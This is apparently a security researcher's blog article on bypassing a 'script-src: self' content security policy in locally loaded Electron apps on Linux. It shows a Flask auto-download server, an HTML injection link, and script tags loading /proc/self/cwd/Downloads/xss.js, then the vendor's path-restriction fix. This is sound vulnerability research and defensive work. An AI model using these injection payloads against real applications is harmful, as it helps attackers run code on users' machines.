title: Linux local electron application script-src: self bypass
date: Jul 04, 2023
tags: Article Web XSS
While searching for XSS to RCE exploit chain on the draw.io desktop electron application, I faced a situation where I was able to get an HTML injection which wasn't sanitized but blocked by a script-src: self CSP. The specificity of this application is that everything is loaded locally using loadFile (it could be either loadUrl with file://). At the moment of my vulnerability research, as far as I know, there was no universal way to bypass this CSP in this specific context (except file://smb-host/share/xss.js which is not working anymore if the user didn't connect once on the share before). After some times, I came up with an interesting idea that unfortunately wasn't working on draw.io desktop... Therefore, since the approach was really interesting I decided to write this article to share the tricks with you.
If you already know what is electron, feel free to jump to the shell.openExternal part 😉
In addition, for more information about electron security, you can check all great articles from electrovolt or my past draw.io exploitation presentation!
Before all, what's electron? If we go to the to official website, we can get the following definition:
Electron is a framework for building desktop applications using JavaScript, HTML, and CSS. By embedding Chromium and Node.js into its binary, Electron allows you to maintain one JavaScript codebase and create cross-platform apps that work on Windows, macOS, and Linux.
Basically, electron library will allow any developer to create an application which could be run easily on any platform including online website thanks to the embedded chromium driver.
A non exhaustive list of application can be found here: www.electronjs.org.
Fig. 1: Electron communication flow.
When developing an electron desktop application, there are two ways to do it:
In this article we are going to focus on the on the first situation.
const { app, BrowserWindow } = require('electron');
function createWindow () {
const win = new BrowserWindow({
width: 800,
height: 600
})
win.loadFile("file://index.html");
}
app.whenReady().then(() => {
createWindow()
})
Fig. 2: Example of local electron desktop application.
As we can see on the 2nd part (how does it works?), renderer process can communicate with the main process thanks to inter-process communication (IPC). Thus, thanks to an XSS it might be possible to communicate with them and potentially abuse back-end features to get an RCE.
An example of such exploit can be found on electrovolt or inside my past draw.io exploitation presentation!
Now that we have a good overview about how does electron works, I'll try to explain my CSP bypass concept.
First of all, as said before, opening only trusted source inside an electron application is a mandatory to secure an application. To do so, developper uses the shell.openExternal function to open the link on the default user's browser navigator.
// Open link / window on default user's navigator
function openExternal(url) {
if (url.startsWith("https://")) {
shell.openExternal(url);
return true;
}
return false;
}
app.on("web-contents-created", (event, contents) => {
// Disable navigation
contents.on("will-navigate", (event, navigationUrl) => {
event.preventDefault()
})
// Limit new windows creation
contents.setWindowOpenHandler(({ url }) => {
openExternal(url);
return {action: "deny"}
})
// Disable webviews
contents.on("will-attach-webview", (event, webPreferences, params) => {
event.preventDefault()
})
})
Fig. 3: Example of navigation handler using shell.openExternal. (snippet source)
But, what could goes wrong with this implementation? In fact, by default the electron's chromium driver isn't configured to auto download content. Therefore, it is not the case for classic chromium or firefox browsers in default configuration. That's why, in case of an HTML injection in the electron application, it might be possible to enforce the user downloading a file from his default browser. Thanks to this, we might be able to control a file in his default download folder which is most of the time /home/user/Downloads/uploaded-file.js on Linux.
<a target="_blank" href="https://domain.com/auto-dl">Click Me</a>
Fig. 4: Force new window creating thanks to target="_blank"
from flask import Flask, Response
app = Flask(__name__)
@app.route("/<path:path>")
def index(path):
return Response("""
alert()
""", mimetype="application/octet-stream;charset=utf-8")
if __name__ == "__main__":
app.run("0.0.0.0", 5001)
Fig. 5: Flask application to force auto download file.
Fig. 6: Auto downloaded file thanks to shell.openExternal on electron applciation
Thanks to the previous section, we have a way to control a file on the victim's file system but, we have no information about his username. However, that's where I found interesting ways to load it without knowing it!
When you are using Linux and wanting to open an application, there are 2 principals ways: clicking a logo on your desktop or searching the app un your search bar. Something interesting about it, is that it is equivalent to:
Open a terminal -> execute the binary (ie: chromium)
What's the problem here? When doing it, the current process of the application has been open in the user's home folder. Thus, we can access downloaded files through /proc/self/cwd which point to /home/user!
Fig. 7: Linux cwd symbolic link associated to /home/user due to icon click.
The only problem with this approach is the fact the HTML injection must try to load the script tag after the user clicks on the auto download link... Maybe delay the script loading by other resources might fix it?
<script src="/proc/self/cwd/Downloads/xss.js"></script>
<!-- in case of a innerHTML sink -->
<iframe srcdoc="<script src='/proc/self/cwd/Downloads/xss.js'></script>"></iframe>
Fig. 8: Linux local XSS on chromium browser abusing auto download feature.
I thinks that the way that jgraph blocked this kind of attack is really interesting. In fact, they simply limit to a specific path, resources that can be loaded in the application:
app.on("ready", e => {
session.defaultSession.webRequest.onBeforeRequest({urls: ["file://*"]}, (details, callback) => {
if (!details.url.startsWith(__dirname + "/limited/path")) {
callback({cancel: true});
} else {
callback({});
}
});
})
Fig. 9: Example of way to limit local resources loading in an electron application (source)